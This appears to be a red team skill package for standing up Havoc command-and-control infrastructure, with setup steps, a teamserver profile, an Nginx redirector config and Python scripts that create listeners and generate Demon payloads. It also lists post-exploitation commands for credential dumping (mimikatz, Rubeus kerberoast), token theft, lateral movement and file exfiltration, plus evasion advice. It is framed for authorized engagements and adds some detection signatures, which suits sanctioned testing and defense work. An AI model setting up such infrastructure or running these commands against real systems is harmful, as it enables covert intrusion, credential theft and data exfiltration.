npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
Overview
Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.
When to Use
- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
Prerequisites
- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
- Kali Linux 2023+ (for Client)
- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
- Domain name aged 30+ days with valid SSL certificate
- Written authorization for red team engagement
Architecture
┌──────────────────────────────────────────────────────────────┐
│ HAVOC C2 ARCHITECTURE │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Havoc │────▶│ HTTPS │────▶│ Target Network │ │
│ │ Client │ │ Redirector │ │ (Demon Agent) │ │
│ │ (Kali) │ │ (Nginx/CDN) │ │ │ │
│ └──────────┘ └──────────────┘ └──────────────────┘ │
│ │ │ │
│ │ ┌──────────────┐ │
│ └──────────▶│ Havoc │ │
│ │ Teamserver │ │
│ │ (Ubuntu VPS)│ │
│ │ Port 40056 │ │
│ └──────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘Step 1: Install Havoc Teamserver
# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
python3-dev libboost-all-dev mingw-w64 nasm
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
# Build the Client
make client-buildStep 2: Configure Teamserver Profile
Create the Havoc profile (havoc.yaotl):
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "Str0ngP@ssw0rd!"
}
user "operator2" {
Password = "An0th3rP@ss!"
}
}
Listeners {
Http {
Name = "HTTPS Listener"
Hosts = ["c2.yourdomain.com"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = 443
PortConn = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Uris = [
"/api/v2/auth",
"/api/v2/status",
"/content/images/gallery",
]
Headers = [
"X-Requested-With: XMLHttpRequest",
"Content-Type: application/json",
]
Response {
Headers = [
"Content-Type: application/json",
"Server: nginx/1.24.0",
"X-Frame-Options: DENY",
]
}
}
}
Demon {
Sleep = 10
Jitter = 30
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}Step 3: Start Teamserver
# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v
# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443Step 4: Configure HTTPS Redirector
Set up an Nginx reverse proxy on a separate VPS as a redirector:
# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name c2.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;
# Only forward traffic matching C2 URIs
location /api/v2/auth {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /api/v2/status {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
location /content/images/gallery {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
# Redirect all other traffic to legitimate site
location / {
return 301 https://www.microsoft.com;
}
}Step 5: Generate Demon Payload
# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe
# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> TeamserverStep 6: Post-Exploitation with Demon
Once a Demon session checks in, common post-exploitation commands:
# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all
# Process listing
demon> proc list
# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe
# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All
# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password
# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast
# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER
# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80OPSEC Considerations
| Aspect | Recommendation |
|---|---|
| Domain Age | Register domains 30+ days before engagement |
| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |
| Categorization | Submit domain to Bluecoat/Fortiguard for categorization |
| Sleep/Jitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |
| User-Agent | Match target organization's common browser user-agent |
| Kill Date | Set payload expiration to engagement end date |
| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |
| Payload Format | Use shellcode with custom loader instead of raw EXE |
MITRE ATT&CK Mapping
| Technique ID | Name | Phase |
|---|---|---|
| T1583.001 | Acquire Infrastructure: Domains | Resource Development |
| T1583.003 | Acquire Infrastructure: Virtual Private Server | Resource Development |
| T1587.001 | Develop Capabilities: Malware | Resource Development |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |
| T1090.002 | Proxy: External Proxy | Command and Control |
| T1105 | Ingress Tool Transfer | Command and Control |
| T1055 | Process Injection | Defense Evasion |
References
- Havoc Framework GitHub: https://github.com/HavocFramework/Havoc
- Havoc Wiki: https://github.com/HavocFramework/Havoc/blob/main/WIKI.MD
- RedTeamOps Havoc 101: https://github.com/WesleyWong420/RedTeamOps-Havoc-101
- Deploying Havoc C2 via Terraform: https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md1.8 KB
API Reference: Red Team C2 Infrastructure with Havoc
For authorized penetration testing and lab environments only.
Havoc Teamserver API
Base URL: https://{teamserver}:{port}/api/
Authorization: Bearer {token}Listener Endpoints
| Method | Endpoint | Description |
|---|---|---|
| GET | /api/listeners |
List active listeners |
| POST | /api/listeners |
Create new listener |
| DELETE | /api/listeners/{name} |
Remove listener |
Agent (Demon) Endpoints
| Method | Endpoint | Description |
|---|---|---|
| GET | /api/agents |
List connected agents |
| POST | /api/agents/{id}/command |
Task agent |
| GET | /api/agents/{id}/output |
Get task output |
HTTPS Listener Config
{
"name": "https-c2",
"protocol": "Https",
"host": "0.0.0.0",
"port": 443,
"hosts": ["c2.example.com"],
"secure": true,
"user_agent": "Mozilla/5.0 ..."
}SMB Listener Config
{
"name": "smb-pivot",
"protocol": "Smb",
"pipe_name": "\\\\.\\pipe\\mojo_ipc"
}Payload Generation
POST /api/payloads/generate
{
"listener": "https-c2",
"arch": "x64",
"format": "exe",
"config": {
"sleep": 5,
"jitter": 20,
"indirect_syscalls": true,
"sleep_technique": "WaitForSingleObjectEx"
}
}Payload Formats
| Format | Description |
|---|---|
exe |
Windows PE executable |
dll |
DLL side-loading |
shellcode |
Raw shellcode |
service_exe |
Windows service binary |
Agent Properties
| Field | Description |
|---|---|
agent_id |
Unique identifier |
hostname |
Target hostname |
username |
Running user context |
os |
Operating system |
process_name |
Host process |
pid |
Process ID |
sleep |
Callback interval (seconds) |
last_callback |
Last check-in time |
standards.md2.4 KB
Standards and References: Havoc C2 Infrastructure
MITRE ATT&CK Techniques
Resource Development (TA0042)
- T1583.001 - Acquire Infrastructure: Domains
- T1583.003 - Acquire Infrastructure: Virtual Private Server
- T1583.006 - Acquire Infrastructure: Web Services
- T1587.001 - Develop Capabilities: Malware
- T1587.003 - Develop Capabilities: Digital Certificates
- T1608.001 - Stage Capabilities: Upload Malware
- T1608.005 - Stage Capabilities: Link Target
Command and Control (TA0011)
- T1071.001 - Application Layer Protocol: Web Protocols (HTTP/HTTPS)
- T1573.001 - Encrypted Channel: Symmetric Cryptography
- T1573.002 - Encrypted Channel: Asymmetric Cryptography
- T1090.001 - Proxy: Internal Proxy
- T1090.002 - Proxy: External Proxy
- T1090.004 - Proxy: Domain Fronting
- T1105 - Ingress Tool Transfer
- T1132.001 - Data Encoding: Standard Encoding
- T1001 - Data Obfuscation
- T1568.002 - Dynamic Resolution: Domain Generation Algorithms
- T1571 - Non-Standard Port
- T1572 - Protocol Tunneling
Defense Evasion (TA0005)
- T1055 - Process Injection
- T1055.012 - Process Hollowing
- T1620 - Reflective Code Loading
- T1027 - Obfuscated Files or Information
- T1497 - Virtualization/Sandbox Evasion
- T1140 - Deobfuscate/Decode Files or Information
Execution (TA0002)
- T1059.001 - PowerShell
- T1106 - Native API
- T1129 - Shared Modules
NIST References
- NIST SP 800-115 - Section 4.3: Penetration Testing (authorized C2 usage)
- NIST SP 800-53 Rev. 5 - CA-8: Penetration Testing controls
- NIST SP 800-53 Rev. 5 - SI-4: Information System Monitoring (detection of C2)
Havoc-Specific Detection Signatures
| Detection | Source | Rule |
|---|---|---|
| Default Havoc HTTP Headers | Network IDS | alert http any any -> any any (msg:"Havoc C2 Default Headers"; content:"X-Havoc"; sid:1000001;) |
| Demon Sleep Patterns | EDR | Periodic beaconing with consistent intervals +/- jitter |
| Named Pipe Patterns | Sysmon | EventID 17/18 with \\.\pipe\ matching Havoc defaults |
| Default Teamserver Port | Firewall | TCP 40056 outbound |
Compliance Context
Havoc C2 usage is only authorized under:
- Signed Rules of Engagement (RoE) documents
- Authorized penetration testing under PCI DSS 11.4, SOC 2 CC7.1
- TIBER-EU / CBEST threat-led penetration testing frameworks
- Bug bounty programs with explicit C2 authorization
workflows.md8.0 KB
Workflows: Havoc C2 Infrastructure Deployment
Infrastructure Deployment Workflow
┌─────────────────────────────────────────────────────────────────┐
│ HAVOC C2 DEPLOYMENT WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. DOMAIN & INFRASTRUCTURE PREPARATION (Week -4) │
│ ├── Register domain names (aged 30+ days) │
│ ├── Submit domains for categorization (Bluecoat, Fortiguard) │
│ ├── Provision VPS instances (Teamserver + Redirector) │
│ ├── Obtain SSL certificates (Let's Encrypt) │
│ └── Configure DNS A records │
│ │
│ 2. TEAMSERVER SETUP (Day 1) │
│ ├── Install dependencies on Ubuntu VPS │
│ ├── Clone and build Havoc from source │
│ ├── Create teamserver profile (havoc.yaotl) │
│ │ ├── Configure operator credentials │
│ │ ├── Define listeners (HTTPS, SMB) │
│ │ ├── Set Demon agent parameters │
│ │ └── Configure malleable traffic profiles │
│ ├── Harden teamserver (iptables, fail2ban) │
│ └── Start teamserver with verbose logging │
│ │
│ 3. REDIRECTOR CONFIGURATION (Day 1-2) │
│ ├── Install Nginx on redirector VPS │
│ ├── Configure SSL termination │
│ ├── Set up reverse proxy rules │
│ │ ├── Forward C2 URIs to teamserver │
│ │ └── Redirect non-matching traffic to legit site │
│ ├── Configure access logging │
│ └── Test end-to-end connectivity │
│ │
│ 4. PAYLOAD DEVELOPMENT (Day 2-3) │
│ ├── Generate Demon shellcode via Havoc Client │
│ ├── Develop custom loader (C/Rust/Nim) │
│ │ ├── AES-encrypt shellcode │
│ │ ├── Implement sleep obfuscation │
│ │ ├── Add sandbox checks │
│ │ └── Use indirect syscalls │
│ ├── Test against AV/EDR in lab │
│ └── Package for delivery vector │
│ │
│ 5. OPERATIONAL TESTING (Day 3-4) │
│ ├── Test beacon callback through full chain │
│ ├── Verify redirector filtering │
│ ├── Test sleep/jitter behavior │
│ ├── Validate post-exploitation modules │
│ └── Confirm kill switch functionality │
│ │
│ 6. OPERATIONAL USE (Engagement period) │
│ ├── Deploy payloads via approved vectors │
│ ├── Manage sessions through Havoc Client │
│ ├── Execute post-exploitation tasks │
│ ├── Maintain operator logs │
│ └── Monitor infrastructure health │
│ │
│ 7. TEAR-DOWN (Post-engagement) │
│ ├── Remove all implants from target systems │
│ ├── Archive engagement logs │
│ ├── Destroy VPS instances │
│ ├── Release domain names │
│ └── Provide IOCs to client for deconfliction │
│ │
└─────────────────────────────────────────────────────────────────┘Havoc Listener Configuration Decision Tree
Select Listener Type
│
├── External (Internet-facing targets)?
│ ├── HTTPS Listener
│ │ ├── Use valid SSL certificate
│ │ ├── Configure malleable URIs
│ │ ├── Set User-Agent to match target
│ │ └── Route through redirector
│ └── HTTP Listener (lab only)
│ └── Never use in production operations
│
├── Internal (post-initial access)?
│ ├── SMB Listener (named pipe)
│ │ ├── For workstation-to-workstation pivoting
│ │ └── No direct internet connectivity needed
│ └── TCP Listener
│ └── For direct internal connections
│
└── Advanced?
└── External C2 Listener
├── Custom protocol over DNS
├── Domain fronting via CDN
└── Third-party service channelsTerraform Deployment Template
# main.tf - Automated Havoc C2 Infrastructure
provider "aws" {
region = "us-east-1"
}
resource "aws_instance" "teamserver" {
ami = "ami-0c7217cdde317cfec" # Ubuntu 22.04
instance_type = "t3.medium"
key_name = var.ssh_key_name
vpc_security_group_ids = [aws_security_group.teamserver_sg.id]
user_data = file("scripts/install_havoc.sh")
tags = {
Name = "havoc-teamserver"
}
}
resource "aws_instance" "redirector" {
ami = "ami-0c7217cdde317cfec"
instance_type = "t3.micro"
key_name = var.ssh_key_name
vpc_security_group_ids = [aws_security_group.redirector_sg.id]
user_data = file("scripts/install_redirector.sh")
tags = {
Name = "havoc-redirector"
}
}
resource "aws_security_group" "teamserver_sg" {
name = "havoc-teamserver-sg"
ingress {
from_port = 40056
to_port = 40056
protocol = "tcp"
cidr_blocks = [var.operator_ip]
}
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = [aws_instance.redirector.public_ip]
}
}
resource "aws_security_group" "redirector_sg" {
name = "havoc-redirector-sg"
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
}OPSEC Checklist
- Domains aged 30+ days before use
- Domains categorized in web proxies
- Valid SSL certificates installed
- Teamserver port (40056) firewalled to operator IPs only
- Redirector configured to filter non-C2 traffic
- Malleable C2 profile customized (URIs, headers, user-agent)
- Demon sleep set to 10+ seconds with 30%+ jitter
- Payload tested against target AV/EDR in lab
- Kill date set on all payloads
- Operator logs enabled and encrypted
- Emergency deconfliction process documented
Scripts 2
agent.py6.1 KB
#!/usr/bin/env python3
"""Havoc C2 Infrastructure Builder Agent - Manages Havoc C2 framework deployment and listener setup.
# For authorized penetration testing and lab environments only.
"""
import json
import logging
import argparse
from datetime import datetime
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
HAVOC_DEFAULT_PORT = 40056
def havoc_api_request(teamserver, endpoint, token, method="GET", data=None):
"""Make authenticated request to Havoc teamserver API."""
url = f"https://{teamserver}/api/{endpoint}"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
try:
if method == "GET":
resp = requests.get(url, headers=headers, timeout=15, verify=False)
else:
resp = requests.post(url, headers=headers, json=data or {}, timeout=15, verify=False)
resp.raise_for_status()
return resp.json()
except requests.RequestException as e:
logger.error("Havoc API request failed: %s", e)
return {"error": str(e)}
def list_listeners(teamserver, token):
"""List active listeners on the teamserver."""
data = havoc_api_request(teamserver, "listeners", token)
listeners = data.get("listeners", [])
logger.info("Found %d active listeners", len(listeners))
return listeners
def create_https_listener(teamserver, token, name, bind_addr, bind_port, hosts, secure=True):
"""Create an HTTPS listener."""
config = {
"name": name,
"protocol": "Https",
"host": bind_addr,
"port": bind_port,
"hosts": hosts,
"secure": secure,
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"headers": ["Content-Type: application/json", "X-Forwarded-For: 127.0.0.1"],
}
result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
logger.info("Created HTTPS listener '%s' on %s:%d", name, bind_addr, bind_port)
return result
def create_smb_listener(teamserver, token, name, pipe_name):
"""Create an SMB named pipe listener for pivoting."""
config = {"name": name, "protocol": "Smb", "pipe_name": pipe_name}
result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
logger.info("Created SMB listener '%s' on pipe %s", name, pipe_name)
return result
def list_agents(teamserver, token):
"""List connected agents (demons)."""
data = havoc_api_request(teamserver, "agents", token)
agents = data.get("agents", [])
logger.info("Found %d connected agents", len(agents))
return [{"id": a.get("agent_id"), "hostname": a.get("hostname"), "username": a.get("username"),
"os": a.get("os"), "process": a.get("process_name"), "pid": a.get("pid"),
"last_callback": a.get("last_callback"), "sleep": a.get("sleep")} for a in agents]
def generate_payload(teamserver, token, listener_name, payload_type="exe", arch="x64"):
"""Generate a Havoc demon payload."""
config = {
"listener": listener_name,
"arch": arch,
"format": payload_type,
"config": {
"sleep": 5,
"jitter": 20,
"indirect_syscalls": True,
"stack_duplication": True,
"sleep_technique": "WaitForSingleObjectEx",
},
}
result = havoc_api_request(teamserver, "payloads/generate", token, method="POST", data=config)
logger.info("Generated %s payload for listener '%s'", payload_type, listener_name)
return result
def assess_infrastructure(listeners, agents):
"""Assess C2 infrastructure health and coverage."""
assessment = {
"listener_count": len(listeners),
"agent_count": len(agents),
"protocols_in_use": list(set(l.get("protocol", "unknown") for l in listeners)),
"unique_hosts": list(set(a.get("hostname", "unknown") for a in agents)),
"stale_agents": [],
"recommendations": [],
}
for agent in agents:
sleep_val = agent.get("sleep", 0)
if sleep_val > 60:
assessment["stale_agents"].append(agent.get("id"))
if not any(l.get("protocol") == "Smb" for l in listeners):
assessment["recommendations"].append("Add SMB listener for internal pivoting")
if len(listeners) < 2:
assessment["recommendations"].append("Add redundant listeners for resilience")
if not agents:
assessment["recommendations"].append("No active agents - deploy payloads")
return assessment
def generate_report(listeners, agents, assessment):
"""Generate C2 infrastructure report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"disclaimer": "For authorized penetration testing and lab environments only",
"listeners": listeners,
"agents": agents,
"infrastructure_assessment": assessment,
}
print(f"C2 REPORT: {len(listeners)} listeners, {len(agents)} agents, "
f"{len(assessment.get('recommendations', []))} recommendations")
return report
def main():
parser = argparse.ArgumentParser(description="Havoc C2 Infrastructure Builder (authorized testing only)")
parser.add_argument("--teamserver", required=True, help="Teamserver address (host:port)")
parser.add_argument("--token", required=True, help="API authentication token")
parser.add_argument("--action", choices=["status", "create-listener", "generate-payload", "full-report"],
default="full-report")
parser.add_argument("--listener-name", default="https-primary")
parser.add_argument("--bind-port", type=int, default=443)
parser.add_argument("--output", default="havoc_c2_report.json")
args = parser.parse_args()
listeners = list_listeners(args.teamserver, args.token)
agents = list_agents(args.teamserver, args.token)
assessment = assess_infrastructure(listeners, agents)
report = generate_report(listeners, agents, assessment)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
process.py12.3 KB
#!/usr/bin/env python3
"""
Havoc C2 Infrastructure Health Monitor
Monitors Havoc C2 infrastructure components (teamserver, redirectors,
listeners) and generates operational status reports for red team operations.
"""
import json
import socket
import ssl
import os
import hashlib
import subprocess
import time
from datetime import datetime
from dataclasses import dataclass, field, asdict
from typing import Optional
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError
@dataclass
class InfraComponent:
"""Represents an infrastructure component."""
name: str
host: str
port: int
component_type: str # teamserver, redirector, listener, dns
protocol: str = "tcp"
expected_response: str = ""
ssl_enabled: bool = False
@dataclass
class HealthCheck:
"""Result of a health check."""
component: str
host: str
port: int
status: str # up, down, degraded
latency_ms: float = 0.0
ssl_valid: bool = False
ssl_expiry: str = ""
details: str = ""
timestamp: str = ""
class HavocInfraMonitor:
"""Monitor Havoc C2 infrastructure health and OPSEC status."""
def __init__(self, config_path: Optional[str] = None):
self.components: list[InfraComponent] = []
self.check_results: list[HealthCheck] = []
self.alerts: list[str] = []
if config_path and os.path.exists(config_path):
self._load_config(config_path)
def _load_config(self, config_path: str) -> None:
"""Load infrastructure configuration from JSON."""
with open(config_path) as f:
config = json.load(f)
for comp in config.get("components", []):
self.components.append(InfraComponent(**comp))
def add_component(self, component: InfraComponent) -> None:
"""Add an infrastructure component to monitor."""
self.components.append(component)
def check_tcp_port(self, host: str, port: int, timeout: float = 5.0) -> tuple[bool, float]:
"""Check if a TCP port is open and measure latency."""
start = time.time()
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((host, port))
latency = (time.time() - start) * 1000
sock.close()
return result == 0, latency
except (socket.error, socket.timeout):
return False, 0.0
def check_ssl_certificate(self, host: str, port: int = 443) -> dict:
"""Check SSL certificate validity and expiration."""
try:
context = ssl.create_default_context()
with socket.create_connection((host, port), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=host) as ssock:
cert = ssock.getpeercert()
not_after = cert.get("notAfter", "")
subject = dict(x[0] for x in cert.get("subject", ()))
issuer = dict(x[0] for x in cert.get("issuer", ()))
# Parse expiry
expiry = datetime.strptime(not_after, "%b %d %H:%M:%S %Y %Z")
days_remaining = (expiry - datetime.utcnow()).days
return {
"valid": True,
"expiry": not_after,
"days_remaining": days_remaining,
"subject_cn": subject.get("commonName", ""),
"issuer_cn": issuer.get("commonName", ""),
"self_signed": subject.get("commonName") == issuer.get("commonName"),
}
except ssl.SSLCertVerificationError as e:
return {"valid": False, "error": str(e), "self_signed": True}
except Exception as e:
return {"valid": False, "error": str(e)}
def check_http_response(self, host: str, port: int, path: str = "/",
ssl_enabled: bool = True, expected_status: int = 200) -> dict:
"""Check HTTP/HTTPS endpoint response."""
scheme = "https" if ssl_enabled else "http"
url = f"{scheme}://{host}:{port}{path}"
try:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
req = Request(url, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
start = time.time()
resp = urlopen(req, timeout=10, context=context)
latency = (time.time() - start) * 1000
return {
"status_code": resp.getcode(),
"latency_ms": latency,
"headers": dict(resp.headers),
"reachable": True,
}
except HTTPError as e:
return {"status_code": e.code, "reachable": True, "error": str(e)}
except URLError as e:
return {"reachable": False, "error": str(e)}
def check_dns_resolution(self, domain: str) -> dict:
"""Verify DNS resolution for C2 domains."""
try:
results = socket.getaddrinfo(domain, None)
ips = list(set(r[4][0] for r in results))
return {"resolved": True, "ips": ips}
except socket.gaierror as e:
return {"resolved": False, "error": str(e)}
def run_all_checks(self) -> list[HealthCheck]:
"""Run health checks on all configured components."""
self.check_results = []
self.alerts = []
for comp in self.components:
print(f"[*] Checking {comp.name} ({comp.host}:{comp.port})...")
# TCP port check
is_up, latency = self.check_tcp_port(comp.host, comp.port)
check = HealthCheck(
component=comp.name,
host=comp.host,
port=comp.port,
status="up" if is_up else "down",
latency_ms=latency,
timestamp=datetime.utcnow().isoformat(),
)
if not is_up:
self.alerts.append(f"CRITICAL: {comp.name} ({comp.host}:{comp.port}) is DOWN")
check.details = "TCP connection failed"
self.check_results.append(check)
continue
# SSL check for HTTPS components
if comp.ssl_enabled:
ssl_info = self.check_ssl_certificate(comp.host, comp.port)
check.ssl_valid = ssl_info.get("valid", False)
check.ssl_expiry = ssl_info.get("expiry", "")
if ssl_info.get("self_signed", False):
self.alerts.append(
f"OPSEC WARNING: {comp.name} has self-signed certificate!"
)
if ssl_info.get("days_remaining", 999) < 7:
self.alerts.append(
f"WARNING: {comp.name} SSL expires in "
f"{ssl_info['days_remaining']} days"
)
# HTTP response check for web-based components
if comp.component_type in ("redirector", "listener"):
http_info = self.check_http_response(
comp.host, comp.port, ssl_enabled=comp.ssl_enabled
)
if http_info.get("reachable"):
server_header = http_info.get("headers", {}).get("Server", "")
if "Havoc" in server_header:
self.alerts.append(
f"OPSEC CRITICAL: {comp.name} leaking Havoc in Server header!"
)
check.details = f"HTTP {http_info.get('status_code', 'N/A')}"
# Latency check
if latency > 1000:
self.alerts.append(
f"WARNING: {comp.name} high latency: {latency:.0f}ms"
)
check.status = "degraded"
self.check_results.append(check)
return self.check_results
def check_domain_opsec(self, domain: str) -> dict:
"""Check domain OPSEC status."""
results = {
"domain": domain,
"dns_resolves": False,
"checks": [],
}
# DNS resolution
dns = self.check_dns_resolution(domain)
results["dns_resolves"] = dns.get("resolved", False)
results["resolved_ips"] = dns.get("ips", [])
# Check if domain is too new (WHOIS-based heuristic)
results["checks"].append({
"check": "DNS Resolution",
"status": "PASS" if dns.get("resolved") else "FAIL",
})
# SSL certificate check
ssl_info = self.check_ssl_certificate(domain)
results["checks"].append({
"check": "Valid SSL Certificate",
"status": "PASS" if ssl_info.get("valid") else "FAIL",
"details": ssl_info,
})
if ssl_info.get("self_signed"):
results["checks"].append({
"check": "Not Self-Signed",
"status": "FAIL",
"details": "Self-signed certificates are an OPSEC failure",
})
return results
def generate_status_report(self) -> str:
"""Generate infrastructure status report."""
lines = []
lines.append("=" * 60)
lines.append("HAVOC C2 INFRASTRUCTURE STATUS REPORT")
lines.append(f"Generated: {datetime.utcnow().isoformat()}")
lines.append("=" * 60)
# Component status
lines.append("\nCOMPONENT STATUS:")
lines.append("-" * 60)
for check in self.check_results:
status_icon = {
"up": "[+]",
"down": "[!]",
"degraded": "[~]",
}.get(check.status, "[?]")
lines.append(
f" {status_icon} {check.component:<25} "
f"{check.status.upper():<10} "
f"{check.latency_ms:.0f}ms"
)
if check.ssl_valid:
lines.append(f" SSL: Valid (expires {check.ssl_expiry})")
if check.details:
lines.append(f" Details: {check.details}")
# Alerts
if self.alerts:
lines.append("\nALERTS:")
lines.append("-" * 60)
for alert in self.alerts:
lines.append(f" {alert}")
# Summary
total = len(self.check_results)
up = sum(1 for c in self.check_results if c.status == "up")
down = sum(1 for c in self.check_results if c.status == "down")
degraded = sum(1 for c in self.check_results if c.status == "degraded")
lines.append(f"\nSUMMARY: {up}/{total} UP | {degraded} DEGRADED | {down} DOWN")
if down > 0:
lines.append("STATUS: INFRASTRUCTURE DEGRADED - IMMEDIATE ACTION REQUIRED")
elif self.alerts:
lines.append("STATUS: OPERATIONAL WITH WARNINGS")
else:
lines.append("STATUS: FULLY OPERATIONAL")
return "\n".join(lines)
def export_json(self, output_path: str) -> None:
"""Export results to JSON."""
data = {
"timestamp": datetime.utcnow().isoformat(),
"components": [asdict(c) for c in self.check_results],
"alerts": self.alerts,
}
with open(output_path, "w") as f:
json.dump(data, f, indent=2)
print(f"[+] Results exported to {output_path}")
def main():
"""Demonstrate infrastructure monitoring."""
monitor = HavocInfraMonitor()
# Configure infrastructure components
monitor.add_component(InfraComponent(
name="Havoc Teamserver",
host="127.0.0.1",
port=40056,
component_type="teamserver",
protocol="tcp",
))
monitor.add_component(InfraComponent(
name="HTTPS Redirector",
host="127.0.0.1",
port=443,
component_type="redirector",
ssl_enabled=True,
))
monitor.add_component(InfraComponent(
name="HTTPS Listener",
host="127.0.0.1",
port=443,
component_type="listener",
ssl_enabled=True,
))
# Run health checks
print("[*] Running infrastructure health checks...\n")
monitor.run_all_checks()
# Generate report
report = monitor.generate_status_report()
print(report)
# Export results
monitor.export_json("havoc_infra_status.json")
if __name__ == "__main__":
main()